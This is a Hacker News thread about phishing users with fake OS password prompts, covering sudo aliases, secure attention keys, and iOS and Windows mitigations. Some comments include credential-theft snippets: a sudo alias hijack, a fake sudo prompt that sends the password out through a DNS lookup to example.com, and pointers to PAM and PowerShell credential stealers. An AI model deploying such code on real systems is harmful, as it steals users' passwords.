Hacker News Reader

Comment by vortico | Hacker News Reader

This is related to an issue called root-phishing or superuser-phishing. You can do this with the Windows admin password prompt, the MacOS prompt, or with Linux sudo, as long as you can run code from a user account or edit a single file.

    alias sudo='sudo ./somethingbad; sudo'

I'm surprised you don't hear about this that often. There is no perfect solution, since any visual feedback the operating system can do to make their prompt "official-looking" is possible by an application as well, unless the operating system can display information the user would recognize that it not accessible by the application. A perfect solution on iOS is to "minimize" the application so that the home screen is shown and then show the password prompt. The user would immediately recognize the wallpaper and icons to be theirs, which are two pieces of information unavailable to the application. However, the application could still fool the user by displaying the box over the application anyway.

View on HN

There are many solutions. First is requiring un-catchable keyboard shortcut to enter the password. Something like "ctrl-alt-delete" for Windows (I'm not sure if it's un-catchable, but you got an idea) or even better some unused key like pause/break. User will be trained to press this shortcut and app can't replicate it, so user won't be tricked. Second is using fingerprint. iOS should just use fingerprint always instead of asking the password (an exception is first boot or failed fingerprint). Now the case of failed fingerprint might be exploited, but I think it could be solved too. Require pressing of "home" button to acknowledge fingerprint. If fingerprint is real, OS will ignore this press. If fingerprint is fake, OS will just close an app.

Unfortunately operating system developers are not considering this attack. But they certainly can defend if they want.

I think the idea behind ctrl-alt-delete is that it generates a non-maskable interrupt that can't be hooked from user-mode. In days past, this sort of thing was called a secure attention key.

https://en.wikipedia.org/wiki/Secure_attention_key

And you're right, this needs to be a default part of any login handler. Why don't we use it when logging into a Linux console? The login prompt could easily be spoofed by a user-mode program.

> I think the idea behind ctrl-alt-delete is that it generates a non-maskable interrupt that can't be hooked from user-mode.

Keyloggers can still enter the winlogon session and log all keystrokes there, they need to run as a SYSTEM service, but it's very possible to do.

I'm surprised this isn't better documented, but it's pretty much as simple as copying the token from the existing Winlogon process, adjusting the privileges appropriately and calling CreateProcessAsUser() with lpDesktop set to Winsta0\Winlogon.

If you have keyloggers running as SYSTEM you've already lost.

True, the scenario in which ctrl+alt+del would help is one in which only a limited account had been compromised, but the SYSTEM level winlogon keylogger allows you to do things like turn local admin into network admin and it certainly doesn't require kernel mode access. I was more commenting on the requirement of kernel mode access or hijacking of special interrupts than on the usefulness in general.

>they need to run as a SYSTEM service, but it's very possible to do.

That makes their threat a moot point...

>The login prompt could easily be spoofed by a user-mode program.

On the VT100 terminals in the computer lab in college (back in the early 90s) someone was doing this. A shell script to harness logins, print it was unsuccessful and log out. .

There was a key at the top of the vt-100 keyboard that would reset it. The "key" part was often pried off (accidental pressing was bad), but you could still press the nub left behind.

In my misspent youth I wrote a login trojan for VAX/VMS. It circumvented the "break" key trick that you are alluding to above. I had to drop down to Bliss-32 and use the $QIO syscall but it can be done. Once I had captured the sysadmin password and logged in once to prove my achievement I never ran it again. Learned many interesting things though. My task was made easier because DEC published the source code for the OS, albeit as Microfiche. I was therefore able to study the terminal handler code and figure out how to make a trojan that perfectly emulated the regular login behavior including all its timeouts and responses to various control keys.

Oh, and the VAX-11/780 I had hacked into crashed due to a memory board fault in the minute after I had logged in with my snagged admin password. I spent the remainder of the weekend sweating that I had broken the VAX since I had no idea what had happened. I had just given myself all 32 of the VMS account privileges when it went down.

> DEC published the source code for the OS, albeit as Microfiche.

Wait.... What?

Nice job decoding that.

It was written in Bliss so not so hard if you understand BCPL or C. Also I was 17 and had a lot of time on my hands...

I think (s)he wonders how you read that.

My guess would be that you did using the microfiche reader at your university or at a library. Before digitization, such devices were fairly common wherever people had a lot of text to archive.

(Aside: https://en.wikipedia.org/wiki/Microform even has a photo of a “DuKane brand microfiche reader with source code printed on the films.”. I couldn’t read enough of the text on the envelope to decide whether that is true from the photograph

Oh yeah. I worked at a defense contractor so we had facilities to read and print out Microfiche.

30 or so years later I bought a huge stack of DEC microfiche on eBay so I could still do it if I wanted. I don't have equipment to read it though.

Altering the user's environment is a vector around security. I hadn't considered the sudo angle before, but there's a tradition of invoking binaries from their full path to mitigate the problem. So instead of sudo on its own, you would use /usr/sbin/sudo, and make sure your PATH variable never contains the current directory. Better mitigations disallow executables in users' home folders.

Not really. Attacker can execute their own shell from your profile script. Who knows how it will handle paths.

Depending on configuration, this can be prevented with noexec mount, selinux or SMACK. Grsecurity and RSBAC can prevent unwanted exec.

Systems like apparmor, or grsecurity MAC, TOMOYO or YAMA do not work against executing wrong executables.

IMA (signing and verifying files) can work too.

All bets are off in case there is a local root exploit in kernel or any setuid app.

The Linux console does support a secure attention key that can't be trapped and will kill any process which has /dev/console open. root can configure it with /sbin/loadkeys.

Not sure how distributions tend to configure it by default.

I just looked at the table with dumpkeys, but I'm not sure what I'd have to look for to identify that key.

  sudo dumpkeys | rg --only-matching '=.*' | sort | uniq

doesn't show anything that stands out, except maybe for Boot and Break. (But I guess that's a line break?) What would the key do when pressed?

The key will kill any process with the console open (which should then cause login to respawn) and log the killed processes.

If you want to test it then this will set Ctrl-Alt-Esc as your SAK:

  echo "control alt keycode 1 = SAK" | loadkeys

If magic sysrq is enabled, this is alt+sysrq+k. (Usually sysrq is same key as printscreen)

You're right about CTRL-ALT-Delete, the problem is that users are terrible at remembering to do so without being prompted. I created a Windows XP phish-login box back in the day, that simply took you right to the login box without prompting for the key-combination, and nobody found it (and happily entered their credentials).

Any system that relies on humans to do the right thing is doomed to failure. Even something as trivial as hitting three keys each and every time they login; part of the problem with it is that it is so inconsistent (i.e. different Windows machines either do or do not prompt for the key-combination based on their configuration, so users have a mental model of skipping it).

>Something like "ctrl-alt-delete" for Windows (I'm not sure if it's un-catchable, but you got an idea) or even better some unused key like pause/break.

I think that even that is catchable (if needed), at least on old Windows XP Embedded, if you used minlogon (which happened very often) you lost ctrl+alt+del access to Task Manager, but there was a third-party service to restore the "hook":

http://www.mp3car.com/forum/mp3car-technical-software/softwa...

but does it suppress the real thing? otherwise the user is going to see the (real) windows security dialog, followed by your fake one after they exited the real one.

Really cannot remember how the mentioned little program worked with the "real" Winlogon, i.e. if it managed to hook "before" it the key sequence.

Anyway there are other ways, here is one:

http://www.oblita.com/interception.html

about midpage there is a sample to "intercept and block" the sequence.

but that requires a kernel mode component, and if you have kernel access all bets are off. for instance, you can directly patch out the login screen (which is in userspace) to steal the password for you.

Sure, but I bet that some clever folks may well "disguise" such a kernel component into (say) an update or a new install in such a way that the user is tricked as well to allow it.

No idea anyway (since the topic is on iOS) how that OS would behave and what could be the equivalent of a Ctrl+Alt+Del key sequence on a keyboardless device such as a iPhone or iPad.

If you've got a kernel level hack already, just use a keylogger.

> iOS should just use fingerprint always ...

Some of us don't want to use TouchID so, no, it shouldn't.

True, but the parent can just modify that to say "use touchID for users who have it enabled".

Do you not have fingers? Or is there some other good reason not to use TouchID outside of the lock screen?

If your password gets compromised, you can change your passwords.

If your fingerprint gets compromised, you CANT change your finger (erm... probably. I dunno of any easy way in any case)

It's not your fingerprint that's the issue, it's the data that represents your fingerprint. If that data gets compromised then it's nigh impossible to change your fingerprint. However, I believe there are ways to make this very significantly difficult, and I believe Apple has achieved this level of difficulty by placing the fingerprint data in the secure enclave.

Not trusting apple with keeping their promise they won't share the finger print in the future is a good reason.

So you're saying you're worried about apple pushing a malicious iOS update because they want your fingerprint?

If yes, this feels utterly nonsensical. They would be able to grab your fingerprint from the sensor anyway, whether you are actively using it or not...

Alternatively you might be spreading some weird conspiracy theory that instead of securely storing a "hash" of the fingerprint on a HSM, current touchid implementations are secretly sharing your fingerprints with Apple.

That's not really any less nonsensical.

How anybody can still use this argument after prism is beyong my understanding. Literally. I do mean i can't grasp it.

What argument? It’s utterly ridiculous that you would assume Apple to be incapable of collecting your fingerprint data simply because you didn’t enable TouchID in their software.

Do you just not use the home button?

Biometrics (fingerprint, face id, etc) are a poor use for authentication (password) because they can be copied and compromised.

Biometrics have value for identity verification (username) when used in conjunction with a password

Fingerprint (and other "bio" features like eye retina) scans come with their own problems.

For example, how do you handle compromise (I suspect fingerprint mills / printers are not ubiquitous just because there is no demand for fake fingerprints; technologically they should be easy to make). Also, do you really want a unique match every time you log in from different devices (e.g., work and home); etc., etc.

Sorry, fingerprint solution may be worse than the disease it is trying to cure.

The point is the OS manages your fingerprint, and even if you have it, you can't easily send a stolen fingerprint to the OS.

If you have access to the hardware, that's a whole different attack vector.

Is there any reason you can’t watch for control-alt and assume that delete will be pressed soon and react to that?

You could, but then when the delete actually gets pressed, you'll get pre-empted by the real thing.

Back on XP I recall C-A-D not showing the task manager on malware-infested machines. Not sure if that's changed since then (is the full-screen c-a-d in 7/8/10 related)?

This only works when malware already has root privileges.

So it's useful in the narrow-ish case of AD privilege escalation.

This was actually the idea behind using ctrl+alt+del for login. Originally MS wanted a dedicated key for this, but IBM declined (or so the story goes), so they settled for ctrl+alt+del instead.

I think this is a misunderstanding. Microsoft didn’t ask IBM something for logging users in in the DOS days. They wanted a way to reset via the keyboard. IBM provided that with Crtl-Alt-Del.

Windows didn’t use this for anything until NT in the early 90s, and it was their choice to do so. Nothing to do with IBM.

When people ask Gates about Ctrl-Alt-Del they’re obviously asking about why it was chosen for a login sequence, but I believe Gates conveniently answers a different question to make it seem like IBM had something to do with that choice.

That's slightly different though, in order to do this you need to have shell access on the target's computer. TFA is about displaying a password dialog from an unprivileged app or website.

The equivalent scenario with sudo would be to have a website display a mock terminal asking for sudo password, although that would be a lot harder to do inconspicuously because I don't expect terminal windows to pop out of the blue. It's also the reason why browser notify you when a page wants to go fullscreen.

I think the right solution to this problem is simply not to have privileged system UI elements drawn in a way that can be mimicked by a regular app or website. LastPass made a similar mistake: https://github.com/cxxr/lostpass

I don't have an iphone so I'm not sure what would be the right way to deal with that. AFAIK apps can draw to the entire screen surface so it sounds tricky to avoid.

> That's slightly different though, in order to do this you need to have shell access on the target's computer.

But I suppose any application can write to the current user's .bashrc file right? Then it can also set the alias whenever the user opens a terminal.

That's what shell access means. Running a program = access to system() and thus shell access.

I don't think running a native application on a desktop is similar to running a sandboxed app on iOS. The security implication is wildly different IMO. I think a webapp is a more apt comparison.

Maybe the actual password dialogue could contain some kind of visual code, like the one on paper money. Then the OS could detect when a fake password input is shown to the user, just like copy machines detect it when you put a bank note in the scanner.

I wrote this email to sjobs@apple.com back in 2011. Never heard back :-/

Dear Steve,

There's one thing that's always bothered me about MacOS security. When a MacOS dialog pops up (e.g. to ask you for your password), there'sno way to tell for sure that it's MacOS that owns the dialog. A similar problem exists on the iPhone when I am asked for my iTunes password.

I wanted to write and suggest an easy fix, that would make the next version of MacOS and iOS much more secure. Why not have the users set a personal phrase, that MacOS will store and show them in every native MacOS dialog, to prove that it's really coming from MacOS? Of course, you'd have to prevent apps from screen-capturing that portion of the screen for the entire time the dialog is up, and capturing the keystrokes that are being sent to the dialog, but that shouldn't be too much of a problem. You can do something similar for the iPhone.

I really hope this finds its way into MacOS. After MacOS X came out I switched from the PC and haven't looked back. It's awesome.

Sincerely, Greg ...

Man I wish this had been seen and acted on! Would be an excellent feature (and one I’ve thought of myself before).

Prescient of you!

Although I’m skeptical that users will really be alerted by the absence of a thing. The users I work with wouldn’t. But I would prefer it.

The inability to use the home button on the dialogues has become second nature to me out of healthy distrust/ paranoia.

I guess since writing that email, I would have preferred the option of taking a photo (and not storing it anywhere except here). You get used to system dialogs "looking like this" with the photo. If something is wrong, most humans pick it up easily. Only for blind users do you need the text.

With the hundreds of password dialogs that you get in iOS for various reasons, I think people would catch on pretty quickly to a new secure variant.

Yeah, some people wouldn't, but that isn't a reason to leave it with the terrible implementation they have now. This has annoyed me since forever on iOS.

I mean this flaw has been known for years. How long have we been pressing ctrl-alt-delete to log in to Windows?

It is crazy to me that this is an issue on iOS or Android, there is so much they can do to actually make it secure.

For one, on iOS, just "fading out" the app view over the users homescreen wallpaper. There is no way an app can do this, and it is a simple visual indication that the request is coming from the OS. Problem solved.

Also something I don't understand - the OS knows where the request is coming from, yet they don't show an app icon in that view? Why not?

This has been a problem for years with such simple solutions, yet nobody has touched it.

> "fading out" the app view over the users homescreen wallpaper

This is done sometimes, but has only limited success. Most users will click the "your computer is infected, click here to upgrade!" fake windows presented by webpage JS on a PC. You really think an app-fade effect will help enough to make a difference? It would help a bit, but not much.

> they don't show an app icon in that view? Why not?

Because then malicious/spammy applications would present fake alerts, which were non-badged normal popups, and add false badges. I guess you could badge everything, and push the problem onto apps whose icons look similar enough to other apps when shrunk down to whatever size your badge is. Either way, it still ends up in the same boat: probably a little bit helpful, but not much.

I'm specifically referring to iOS with the window fade. Of course the issue with it is that the user would have to notice the lack-of the effect on the fake popups (or apps trying to fake the users app icons/wallpaper)

My point is that literally anything would be better than a generic UIAlertController with a password field that exists today, I can fake one in literally ten seconds and have it be remotely triggered by a key on a server to pass through app review. Anything added would enhance security for users.

I believe GP was saying that if there were a fade, it would take you "literally eleven seconds" to fake, and users would be no more likely to nice its presence or absence than they do phishing attempts on desktop computers.

A solution is to only ask for the password when absolutely necessary. I still don't understand why I need to enter a password (or use touchID) to download a free app. Shouldn't it be enough to login when I want to buy something for the first time in-app? AFAIK that's how android handles it.

There's a toggle (in Settings > App Store, iirc) to ask for auth only on non-free (as in beer) apps/IAPs.

Edit: apparently there's no toggle if you have Touch ID enabled. You have to disable it for the App Store for this to work, but I think Touch ID is fast enough anyway...

True, but those savvy enough to find that will probably notice when an application requests a password artificially.

You need to enter your password when downloading a free app so that if someone finds your phone they can’t install a malicious hacking or key logging app on to your phone. Installing apps is a security risk, not just a financial issue.

Ios apps cannot log keys at all. They're sandboxed.

Not entirely -- keyboard apps can intercept keystrokes and send them to a remote server.

Keyboard apps explicitly have to ask for “full access” and you need to opt-in. Also, apps can block 3rd party keyboards, not sure how many secure / banking apps do that though.

What's stopping an app from imitating the keyboard?

Fundamentally, we're talking about imbuing meaning to patterns of light on a screen. And apps can write on any part of the screen. I suspect the only way to battle this is to have a separate screen which is controllable only from the system.

And even many people will fall for password prompts in the main screen.

> What's stopping an app from imitating the keyboard?

What is the end goal of that? If you have control of the screen (aka are the foreground app), why would you need to emulate the keyboard? If you aren't the foreground app, then you aren't going to be able to render a keyboard on the screen (on iOS anyway).

> why would you need to emulate the keyboard?

to avoid the OS restrictions on which keyboard app is used for passwords.

> you aren't going to be able to render a keyboard on the screen (on iOS anyway).

Are you saying it is impossible to render the pixels and accept screen touches in a way that it acts and looks like a "real" keyboard app?

Dude. Stop and think for a moment. If I am able to render anything on the screen at all, it means I’m the foreground app on iOS. I don’t need to fake being a keyboard, because I can use the real thing Apple provides. So no, I’m not saying it’s impossible if I can render anything at all, what I’m saying is that outside being the foreground app, rendering anything on screen is impossible outside very tightly controlled interfaces (like custom keyboards that this thread was about before you side tracked it).

I am only talking about what the app does when it is the foreground app. I should have addressed that in the previous comment.

It's not a sidetrack, because that's what the actual article is about.

So if you really were talking about the foreground app and not just covering now, then why does one need to make a fake keyboard!? That makes no sense at all.

I was just making a more fundamental point (see my middle para) and decided to hang it off this thread rather than making it top level.

I didn't have a specific scenario in mind.

But to address your question ...

Say a user is reassured because he knows that only approved keyboard apps can accept passwords.

This malware app pops up a password prompt AND some images and input buttons that looks very much like a 'proper' keyboard.

The user enters his password.

Game over.

As far as I can remember, 3rd party keyboards are not allowed for password prompts.

Only when those fields are appropriately annotated, which anecdotally I've run into plenty that are not tagged correctly.

If someone finds my phone, it'll be locked and they won't be able to install anything. If they can unlock the phone then it's already game over for me.

If someone finds my phone, it'll be locked and they won't be able to install anything

“Does your phone have a calculator? Mine’s in my bag and I need to add these values real quick.”

"Then get yours out, you ain't touching my phone."

Easy to say when defending your point on Hacker News. We're already talking about security, and about someone with malicious intent having access to your phone. In the context of this conversation, you're already in simulated high security mental mode.

It's completely different when you're relaxed (maybe having some fun), and the person asking for your phone is someone you know.

In a relaxed social environment, you will probably not be that rude to someone you know.

I think the person you're responding to isn't familiar with relaxed social environments. Seriously, it's so hard to find empathy in security research.

> Seriously, it's so hard to find empathy in security research.

If I ever get a job in that sphere, I'll let you know.

> In a relaxed social environment, you will probably not be that rude

Perhaps I might phrase it slightly differently depending on who it was but the sentiment would be exactly the same[1] - a blanket refusal.

[1] Nowadays - back when I was on the Nokias or SE phones, sure, use my phone as a calculator, go nuts.

"Yes, but no, use your own."

No one has touched my phone while it was unlocked since middle school.

Most of the people have girlfriends and friends.

Believe me, it is possible to have a security-conscious, trustworthy girlfriend who respects your privacy if you do the same to her.

And I've never given my wife a single password or passcode or PIN. But she can still use my damn phone or computer if she wants, as can my friends. Worst case scenario, I get a 55 gallon drum of lube ordered on my Amazon account.

For me, the principle is I never divulge credentials, but I trust people I know. Therefore I see no conflict with adding my wife's fingerprint to TouchID, for example. (though it's not worth the effort of re-enrolling her every time I get a new device or a new screen or reinstall from scratch, so that's long lost).

On ios, you can get to the calculator while the system is still locked.

It was just an example.

You could use Guided Access to allow them to use the calculator without leaving the app.

You’re using the phone and set it down, it hasn’t auto locked yet.

They have your lock screen password but not your iTunes password.

You thought they were a friend and let them borrow your unlocked phone.

Even for a security conscience person there are plenty of situations where someone could get your unlocked phone.

And most people aren’t security conscience. It’s to protect them, not you.

I get that prompting for an iCloud password again adds an extra step, but if someone has your unlocked phone they probably have enough (email, SMS, phone) to take over your iCloud account anyway.

> You’re using the phone and set it down, it hasn’t auto locked yet.

I'm not even security conscious, and always lock my phone before setting it down. I think it started because turning off the screen as soon as you're done saved significant battery life on the phones prior to them knowing if they were laying flat.

If someone has access to my unlocked phone, there are worse things they can do than installing a malicious app. First of all, apps are generally tested before they appear in the store. I don't think attackers would install an app if they can just steal the data directly.

If the data they want is a recording of your next client meeting, installing an app (possibly one that exploits a not-yet well-known bug, say a root exploit that only works from an app) might be one way to do it.

Remember [1]? Imagine an exploit not targeting safari, but somehow vulnerable via an app, a la [2].

[1] https://citizenlab.ca/2016/08/million-dollar-dissident-iphon...

[2] http://iphone.appleinsider.com/articles/16/08/29/apple-brief...

It is free in cost, not in terms of your privacy.

For example let's say you handed your phone to your kid, they downloaded a free app, gave that app your entire contact list, and then that app spammed everyone you know? For the sake of example let's call that app LinkedIn.

> For the sake of example let's call that app LinkedIn.

It’s bad that LinkedIn has such a reputation that I automatically assume they likely did just as you alluded that they might’ve done.

http://addconnectionssettlement.com

They were pioneers in the field!

That, or logged your gps location to a Web service? Maybe along with wlan ssids and Mac addresses?

Let's say you already had LinkedIn installed without contact permissions, and your kid flipped that switch and spammed everyone you knew?

Maybe Apple should require authentication to grant those permissions.... Of course, then we're back to the problem of password fatigue.

What if the phone/iPad belongs to your kid and you don't want her to be installing apps without vetting them beforehand? That's a legitimate reason to ask for prompts. Should be a setting though (if it's not already)

Then you can enable parental controls

One solution would be for an OS to never have such a popup that requested credentials to be entered right there. Instead, the popup should just say "Visit System Settings to enter your account password to download whatever."

This would be similar to measures companies say in emails, "we never ask for your password, always visit our site directly," etc.

What’s annoying about the iTunes login is they expect you to know your password. I use a password manager, I’m not about to memorize my iTunes pass. Naturally those logins windows don’t work with password managers either.

Better solution would be not having login windows at all and make it all in the app and do a sort of oauth type flow if the system needs to share it.

The single biggest point of confusion for newcomers to iOS in my experience is the dichotomy between the iTunes password and the device pass code and internalizing which is needed when.

The iTunes password is needed so rarely these days that most people really struggle to even remember setting it.

IMO, the iTunes password should be eliminated entirely. But I have no idea how to handle the activation lock situation if no authenticated device is on hand.

> IMO, the iTunes password should be eliminated entirely.

Whoa whoa whoa - hold on there. Your ‘iTunes password’ protects purchases in the App Store and iTunes media stores, access to the iCloud website, your iCloud email, iMessages, app data such as notes and contacts, third party app data, and freaking backups of your entire device.

What exactly would you suggest Apple do to eliminate that account? You might as well say that google should eliminate their gmail passwords, or that Dropbox should eliminate the account password.

Some of those could be handled by the device password (although apple might have dug themselves a hole with touch I'd there) - the other with an one time password generator whose secret was available to trusted ios devices? For Apple services, that might even be simplified to a callback system; mail app on desktop shows a token "bushy eyebrows", ios auth app display the token "busy eyebrows" and a login/cancel prompt. The actual auth can be done in a challenge - response fashion between the service and the ios device. Another use for the Apple watch...

Should just be handled by icloud instead of iTunes, even though these days it's the same thing

People with kids need two levels of access.

Lots of tools and apps require knowing passwords; my password manager just lets me press "Copy" when I open it to a particular login, and then I paste it into the iTunes prompt or elsewhere. A little extra hassle but I don't need to remember the password.

Thats what I do, but when you have a modal window like the one in the article, you cant get back to it if you hit cancel to open your password manager. I guess you could copy your password and hope it pops back up...

My personal password strategy requires that I do, in fact, have to recall from memory a small number of secure passwords (device access passwords, ssh key passwords, password manager password and one web service password (iCloud)).

My memorized password count is less than 10 and they're all long and secure (and completely different from one another). It's unfortunate that iCloud is on that list, but it's the only one that shouldn't really belong there, so I'm okay with it.

>You can do this with the Windows admin password prompt

doesn't work when UAC is enabled. Even if you were able to phish the administrator password, trying to login as the administrator using that password (such as by using runas), you'll still end up with a restricted access token. You still need to somehow click "yes" on UAC to get administrative access, which is no small feat because that prompt is on the secure desktop.

> doesn't work when UAC is enabled

Which is funny because disabling UAC is one of the first things I (and many many others) have done since Windows 7 to make using Windows a little more tolerable.

I could understand disabling UAC on Vista, but I find it perfectly sensible since Win7. Also blame ancient programs which request administrator access without reason.

>I find it perfectly sensible since Win7

funny thing is, the thing that made it "sensible" since win7 also makes it insecure. if you care about security, it's prompt for everything or nothing.

https://blogs.msdn.microsoft.com/oldnewthing/20160816-00/?p=...

That's like running everything as root or passwordless sudo. Seriously: don't do that.

That's interesting. I haven't used Windows since UAC came out. Is a Windows password useless to an application then?

you might be able to work around it if RDP is enabled, by using the credentials to start a RDP session, then clicking the UAC prompt from within the RDP session. problem is, RDP isn't enabled by default, and you need admin permissions to enable it.

UAC came out over 10 years ago! In any case, NT is structured quite differently than the typical UNIX variants. When you log in, NT creates two access tokens for you. One with all your privileges, and one with admin rights masked out. When a process is launched it uses the non-admin one by default, even if you are the admin user.

When a thread requires admin privileges, NT will first check if your unmasked token already has those rights, in which case, it will prompt you (UAC) for permission to use the token. This is unlike traditional UNIX where the 'effective user' changes to root on a global level, not just per-thread. So you get 10 minutes (or w/e) as root to do your thing.

For all of Microsoft's faults, I can't count how many feats of engineering they've pulled off to maintain backwards compatibility.

I really like the solution that includes the iOS background — the os password dialogues should adopt this approach immediately. Zoom out to a view that includes springboard and your background image, and maybe include a preview of the app in a little window that the user can tap to return to the app rather than a non-contextual “cancel” button if the password prompt is related to the app context for some reason.

I've seen this at banks that do something similar (and it's probably for this reason). They include a user-selected picture at logon, so if you see the wrong picture, you know that their logon page is being spoofed.

I have no idea of the feasibility of locking down some piece of user data such that the OS can display it for privileged access, but random apps cannot, but this seems like a reasonable solution. Include some user selected word or picture in the title bar of the settings dialog so that users know its the real one.

Those pictures can easily be proxies by a spoofer, so I don't see the point of them.

Those pictures are indeed useless when used by banks, since they do nothing against MITM. But for the attack described in the OP they would actually be a reasonable defense, since this sort of indiscriminate low-privilege phishing can't intercept requests between the user and the system in order to determine the secret image.

I think the best way to resolve this is a hardware button that the user has to press.

So the dialog pops up and says "please press button then enter your password". User needs to press the button for the textbox to appear. This hardware button auto-closes whatever the active application if the active application is not the system dialog.

This way you have a hardware control verifying the dialog isn't a phishing attack.

Of course, attackers could mimic the dialog after the button had been pressed if it were a genuine dialog. But as long as you can train your users into only entering their password after they've pressed the button then hopefully most might realise something was amiss if requested for a password without the button press.

>A perfect solution on iOS is to "minimize" the application so that the home screen is shown and then show the password prompt.

IIRC, this is similar to what happens in Windows since Vista. When you need to input your root password, all applications are minimized and you only see a dim wallpaper and the password prompt.

Right, but in Windows can't any application reproduce that behavior?

Yup. And I'm sure there's some implementation of this in the form of a sketchy library.

Powershell script to do something similar: https://raw.githubusercontent.com/enigma0x3/Invoke-LoginProm...

Blog post with screenshots: http://enigma0x3.net/2015/01/21/phishing-for-credentials-if-...

There's probably some browser based equivalent somewhere too.

Ya there are some solutions, like you can prefix a '\' before a command to make sure you are running the real command and not a alias, so in your example running:

    \sudo <command>

would defeat your attack. But few are in the practice of doing that.

Didn't know that! Thanks.

Would it?

If the attacker was able to backdoor the system, isn't also possible they could install a modified shell that no-ops \?

Isn't the login shell set in /etc/passwd? So you would need root to either modify that, or to overwrite the shell binary.

> But few are in the practice of doing that.

Because there's no point. If I'm able to manipulate your shell environment to set aliases, I can also change your search path so that \sudo picks up the program I want. And no, you can't defeat that by only running /usr/bin/sudo because there are a million other nasty things to do once an attacker has reached this level of control.

I'm sure there are plenty of tricks. I could be wrong, but I think the \ is a shell builtin thing, so I don't think creating a \sudo or the like would work. You could set the PATH and put a fake sudo in a secret directory in there that precedes the /usr/bin/sudo though, so that would be a problem.

untested, but I think you could possibly bypass it with a malicious .inputrc binding for <enter>, although making it conditional such that it only removed a leading \ could be tricky.

In Bash there might also be a way to do something cunning with a 'trap DEBUG' hook to modify the command between submission and it actually being run.

Or you could just exec into a terminal multiplexer like screen[1] to intercept & rewrite/suppress both commands and output.

Edit: It's much easier than that.

The function:

    echo () { command echo "hax" $@; }

will still be called by '\echo test' (The 'command' prefix stops it becoming a forkbomb :)

[1] or maybe just hijack stdin/out FDs from the shell?

There's already something in iOS to handle this: The overlay for apple pay. It slides up from the bottom and is easily distinguishable from the app you're using. If they had something similar for the iTunes password it would work really well

> A perfect solution on iOS is to "minimize" the application so that the home screen is shown and then show the password prompt. The user would immediately recognize the wallpaper and icons to be theirs, which are two pieces of information unavailable to the application. However, the application could still fool the user by displaying the box over the application anyway.

Isn't it exactly what happens on windows anyway?

I think you don't hear about the sudo variant because it's almost never used (though I'll be honest, I never considered impersonating sudo, going to have to add that to my bag of red team tricks). I think impersonating UI's is pretty common though, tons of ads/malware made themselves to look like windows alerts.

There's little reason to actually impersonate sudo, IMO. Just add a malicious PAM module[1] and log the credentials entered for the real sudo (as well as password-based logon, etc.).

[1] e.g. https://github.com/ONsec-Lab/scripts/tree/master/pam_steal

You can't insert a pam module without root? But you can alias sudo to a script that does something like:

  echo "enter sudo pw:"
  read pw
  # log ip and query on ns for
  # example.com
  host "$USER.$pw.example.com" &
  echo "Invalid pw"
  sudo $*

Ed: from the github link: > Usage: add "auth required pam_steal.so" into /etc/pam.d/common-auth

If you can write to pam.d/common-auth - you might be able to add a kernel module, or change boot to start the whole os install in a vm...

Why not just make it so that a password dialog can't be created with certain word combos like "Apple ID" and "Sign In to iTunes Store"

Still might fool some users who aren't paying attention but seems like it would be a simple start.

MacOS with the new TouchID is pretty bad on this as well. I thought all user password prompts would be replaced with Touch ID but it's very much hit and miss and varies greatly.

Back in the day, we used to train operators to use 'type sudo' before every use of the sudo command, to be sure they weren't surreptitiously using an alias ..

One solution that seems obvious to me is - the OS itself can detect fake popups such as this. It can even be a fast neural net that checks the screen, say, once a second.

A neural net for what could be a simple string comparison?

A string comparison would not catch my next attack, a bitmap-based imitation.

It must be an image comparison, and it's can be a simple 1-to-1, because all it takes is one modified pixel to break that. That's why it has to be some sort of an image recognition technology.

Reply on news.ycombinator.com